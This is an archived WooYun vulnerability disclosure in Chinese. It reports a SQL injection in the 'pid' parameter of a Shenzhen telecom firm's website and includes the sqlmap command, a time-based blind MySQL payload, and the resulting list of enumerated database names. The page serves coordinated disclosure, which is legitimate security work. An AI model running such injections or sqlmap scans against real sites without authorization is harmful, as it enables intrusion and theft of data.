当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163412

漏洞标题:佑友官网sql注入漏洞一枚

相关厂商:深圳市河辰通讯技术有限公司

漏洞作者: 路人甲

提交时间:2015-12-25 11:26

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-25: 细节已通知厂商并且等待厂商处理中
2015-12-29: 厂商已经确认,细节仅向厂商公开
2016-01-08: 细节向核心白帽子及相关领域专家公开
2016-01-18: 细节向普通白帽子公开
2016-01-28: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

佑友官网sql注入漏洞一枚

详细说明:

sqlmap.py -u http://**.**.**.**/cn/index.php?pid=1 --dbs

漏洞证明:

Y:\sql>Y:\工具\sqlmap\sqlmap.py -u http://**.**.**.**/cn/index.php?pid=1 --db
s
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150305}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 08:52:34
[08:52:40] [INFO] testing connection to the target URL
[08:52:40] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[08:52:41] [INFO] target URL is stable
[08:52:41] [INFO] testing if GET parameter 'pid' is dynamic
[08:52:41] [WARNING] GET parameter 'pid' does not appear dynamic
[08:52:42] [WARNING] heuristic (basic) test shows that GET parameter 'pid' might
not be injectable
[08:52:42] [INFO] testing for SQL injection on GET parameter 'pid'
[08:52:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:52:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[08:52:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[08:52:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[08:52:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[08:52:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[08:52:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[08:52:47] [INFO] testing 'MySQL inline queries'
[08:52:47] [INFO] testing 'PostgreSQL inline queries'
[08:52:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[08:52:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[08:52:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[08:52:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[08:52:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[08:52:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[08:53:02] [INFO] GET parameter 'pid' seems to be 'MySQL > 5.0.11 AND time-based
blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] y
[08:53:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[08:53:21] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[08:53:24] [INFO] checking if the injection point on GET parameter 'pid' is a fa
lse positive
GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 109 HTTP(s) req
uests:
---
Parameter: pid (GET)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: pid=1' AND (SELECT * FROM (SELECT(SLEEP(5)))ZEJF) AND 'DXBU'='DXBU
---
[08:54:50] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[08:54:50] [INFO] fetching database names
[08:54:50] [INFO] fetching number of databases
[08:54:50] [INFO] retrieved:
[08:54:50] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
7
[08:55:04] [INFO] retrieved:
[08:55:09] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[08:56:35] [INFO] retrieved: db_hechen_com
[08:57:40] [INFO] retrieved: db_yygard
[08:58:23] [INFO] retrieved: dspam
[08:58:48] [INFO] retrieved: hicommail
[08:59:31] [INFO] retrieved: mysql
[08:59:56] [INFO] retrieved: test
available databases [7]:
[*] db_hechen_com
[*] db_yygard
[*] dspam
[*] hicommail
[*] information_schema
[*] mysql
[*] test
[09:00:17] [INFO] fetched data logged to text files under 'C:\Users\CentOS\.sqlm
ap\output\**.**.**.**'
[*] shutting down at 09:00:17
不再继续了

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-29 18:46

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无


漏洞评价:

评价